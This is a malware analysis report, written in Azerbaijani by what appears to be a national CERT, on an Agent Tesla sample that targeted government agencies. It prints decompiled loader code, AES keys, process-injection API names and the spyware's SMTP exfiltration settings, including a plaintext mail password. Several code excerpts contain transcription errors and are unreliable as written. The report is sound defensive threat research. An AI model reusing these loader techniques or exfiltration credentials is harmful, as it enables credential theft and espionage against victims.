Computer Emergency Response Center

Dövlət qurumları yenidən Agent-Teslanın hədəfində

Dövlət qurumlarını hədəfə alan .Net platformasında hazırlanmış zərərverici e-poçt vasitəsilə ZIP arxiv içərisində göndərilmişdi. Zərərverici antiviruslar tərəfindən trojan.blocker/msil olaraq aşkarlanmışdır.

Faylın adı: Dcblejffmoa.exe

Faylın həcmi: 451 KB (462,336 bayt)

Fayla aid versiya məlumatları:

Zərərlini təhlükəsiz mühitdə işə salırıq. İlk öncə proses əməliyyatlarına nəzər salaq. Burada diqqətimizi cəkən məqamlardan biri prosesin eyni adla yeni prosesin işə salması və özünün işini dayandırmasıdır.

Fayl əməliyyatlarında bir neçə şübhəli adda mövcud olmayan faylları açmaq cəhdi görürük.

Bu kitabxana faylı SmartAssembly 8.1.2.4975 obfuskator ilə obfuskasiya edilmişdi. Diqqətimizi çəkən ilk məqam şifrlənmiş resurs faylın olmasıdır. Deobfuskasiya edildikdən sonra çağırılan "Class24 smethod_4" funksiyası:

static Assembly smethod_4(object object_0, ResolveEventArgs resolveEventArgs_0)
{
	Class50.Struct4 @struct = new Class50.Struct4(resolveEventArgs_O.Name);
	string s = @struct.method_0(bool_0: false);
	string text = Convert. ToBase64String(Encoding.UTF8.GetBytes (s));
	string[] array="e205MDc4Njk3LTQ2ZWMtNGIxMi1hMzMILWJjYTBIZmM5Mjc1N30sIEN1bHR1cmU9bmV1dHohbC
					NgUHVibGIjS2V5VG9rZW49M2U1NjMIMDY5M2Y3MzU1ZQ-=,[z]{4ee860e5-7430-47a0-aaa-0f994f0df67d), e2Q5MDc4Njk3LTO2ZWMENGIxMilhMzM1LWJjYTB1ZmM5Mjc1N30=,[z]
					{4ee860e5-7430-47a0-aaa-0f994f0df67d}".Split(*);
	string text2 = string. Empty;
	bool flag = false;
	bool flag2 = false;
	for (int i - 0; i < array. Length - 1; i +- 2)
	if (array[i] == text)
	{
		text2 = array[i+1];
		break;
	}
}

Base64 string dəyəri dekodlaşdırdıqdan sonra alınan məlumat {d9078697-46ec-4b12-a335-bca0efc92757}, Culture=neutral, PublicKeyToken=3e56350693f7355e. Smethod_4 funksiyasının resurs məlumatların oxuduqdan sonra smethod_3 funksiyasını çağırdığırır.

Stream manifestResourceStream = Assembly. GetExecutingAssembly().GetManifestResourceStream(text2); 
if (manifestResourceStream!=null)
{
	int num2 = (int)manifestResourceStream. Length;
	byte[] array2 = new byte[num2];
	manifestResourceStream.Read(array2, 0, num2);
	if (flag)
	{
	array2 = smethod_3(array2);
	}
	Assembly assembly = null;
	if (!flag2)
	{
		try
		{
			assembly = Assembly.Load(array2);
			}
		

smethod_3 funksiyası smethod_9 funksiyasını çağırır. Bu funksiyanın içində simmetrik deşifrə obyekti yaradılır. Simmetrik deşifrə obyekti yaradmaq üçün parametr olaraq simmetrik şifrələmə açarı byte_ və başlatma vektoru (initialization vector) byte_2 göndərilir.

byte[] byte_ = new byte [16]
{
	119, 6, 249, 105, 10, 104, 116, 142, 65, 99,
	72, 207, 114, 151, 39, 209
}
byte[] byte_2 = new byte [16]
{
	50, 88, 153, 218, 162, 192,	11, 134,
	61, 58, 211, 35, 224, 99, 248, 143
}
using (ICryptoTransform cryptoTransform = smethod 9(bool_0: true, byte_, byte_2))
{
	array = smethod_3(cryptoTransform.TransformFinalBlock(byte_O, 4, byte_O.Length-4));
}

Simmetrik deşifrə obyektinin yaradılması:

static ICryptoTransform smethod_9(bool bool_0, byte[] byte_0, byte[] byte_1)
{
	using RijndaelManaged rijndaelManaged = new RijndaelManaged();
	return bool_0 ? rijndaelManaged.CreateDecryptor(byte_O, byte_1) : rijndaelManaged.CreateEncryptor(byte_0, byte_1);
}

Resurs faylı deşifrləndikdən sonra yaddaşa d9078697-46ec-4b12-a335-bca0efc92757.dll (MD5: 11B78878789A61068D74201250BEAD62 SHA1: F253480F092857DB6A2F8C235B1D8F5841078758) adı ilə yüklənir. Kitabxana sadecə resurs fayldan ibarətdir:

rZsjX resurs faylıda şifrlənmiş formada saxlanılırdı. Smethod_78 funksiyası həmin resurs faylı oxuyur və deşifrləyir:

MemoryStream memoryStream = new MemoryStream () ;
if ((b & 2u) != 0 || 1 == 0)
{
	CryptoStream cryptoStream = new CryptoStream(binaryReader. BaseStream, symmetricAlgorithm.CreateDecryptor(), CryptoStreamMode. Read);
	try
	{
		smethod_129((Stream)cryptoStream, (Stream)memoryStream);
	}

Şifrləmə AES alqoritmi ilə aparılıb. Aşağıda göstərilən şəkildə Key simmetrik açar, IV isə başlanğıc vektorudur.

CryptoStream konstructorunda ötürülən binaryReader parametrinin dəyəri:

Deşifrləmə əməliyyatı bitəndən sonra Assembly.Load funksiyası ilə yaddaşa MfCpGTYQIwim.dll (MD5: 2CE7FC4AC3C4FAE2644C1C7F8E821090, SHA1: 46A3CB2A695AD3332121467EF1FE6D5104FD6804) faylı yaddaşa yüklənir.

MfCpGTYQIwim.dll faylın strukturu öncə yüklənən kitabxana ilə oxşardır. Kitabxanada yalnız resurs faylı mövcuddur:

rZsjX resursu üzərində aparılan deşifrləmə əməliyyatı sbyG resurs faylı üzərində aparılır və nəticədə "?" adında dinamik klası yaddaşa yüklənir:

Yaddaşa yükləmələri bitirəndən sonra "Eehjflze" funksiyası işə düşür:

public static void Eehiflze()
{
	using (MemoryStream memoryStream = new MemoryStream (Class24.smethod_59(Class6.Byte_0)))
	{
		memoryStream.Position = 0L;
		Class8_0 = Serializer.Deserialize‹Class8>((Stream)memoryStream);
	}
	Class24.smethod_ 12(new Class23()); 
	Class24.smethod 145();
	Class24.smethod_96();
	Class24.smethod_146(new Class26());
	Class24.smethod_86(new Class27 ());
	Class24.smethod_124(new Class29());
	Class24.smethod_38(new Class21()); 
	Class24.smethod 23 (new Class19());
	Class24.smethod_29(new Class5());
	Class24.smethod_0(new Class22());
	Class24.smethod_109();
	Class24.smethod_83(new Class15());
}

Yaddaşa yüklənən protobuf-net modulu Google tarəfindən .Net prlatfomasında serializasiya olunmuş  “protocol buferləri” üçün hazırlanıb. ? klasını analiz etdiyimiz zaman aşağıda göstərilən funksiya adları diqqətimizi çəkir:

Base64 kodlanmış

Funksiya adı

WndVbm1h@cFZpZXd@PZlNlY3Rpb24=

ZwUnmapViewOfSection

Q3JlY@XRlU@HJvY2Vzc0E=

CreateProcessA

Q2xv@c2VI@YW5kbGU=

CloseHandle

Um@VhZFByb2N@lc3NNZW1vcnk=

ReadProcessMemory

VmlydHVhbEFsbG9jRXg=

VirtualAllocEx

V3JpdGVQcm9jZXNzTWVtb3J5

WriteProcessMemory

Funksiyalara fikir versək təxmin etmək olar ki yeni icra edilə bilən işə salınacaq və incələmə zamanı bunu görürük:

Yeni proces yaradılır və icra olunan proses dayandırılır.

c1a55c43-1eff-4ec5-9096-653c54575fc9.exe

Faylın adı: c1a55c43-1eff-4ec5-9096-653c54575fc9.exe

Faylın həcmi: 235 KB (240,640 bayt)

İcra olunan faylın məlumatları:

Kateqoriya: spyware

MD5: A7770CD05872881F3E47E8A9041748FD

SHA1: 7606E077FDEB8DC5FBFFBF428260BABA4F0BA470

Faylın strukturu:

Fayl aktivliyi:

Zərərverici proqram təminatlarına aid məlumatları əldə etməyə çalışır. Məlumatlar html formada yığılır və poçt üzərindən (şifrələnmiş şəkildə) göndərilir. Göndərənin SMTP server məlumatları:

public static int SmtpPort = Convert.ToInt32("587");
public static bool SmtpAttach = Convert.ToBoolean("false");
public static string SmtpServer = "mail.sturmsgroup.com"
public static string Smtpsender = "rocston@sturmsgroup.com";
public static string SmtpPassword = "hs_B2RIpx4ASsohR";
public static string SmtpReceiver = "rocndeko@sturmsgroup.com";

Yığılan digər məlumatlar:

  • Keylogger
  • FTP məlumatları
  • Browser yaddaşında saxlanılan istifadəçi adları və şifrələr
  • Clipboard məlumatları və s.

 

 

IOCs:

MD5: 59447e7eb854c5883e64cd6cd2656e11
SHA-1: a02ef8dadde0596702f8792a6906320b30e2fa22

Press ESC to close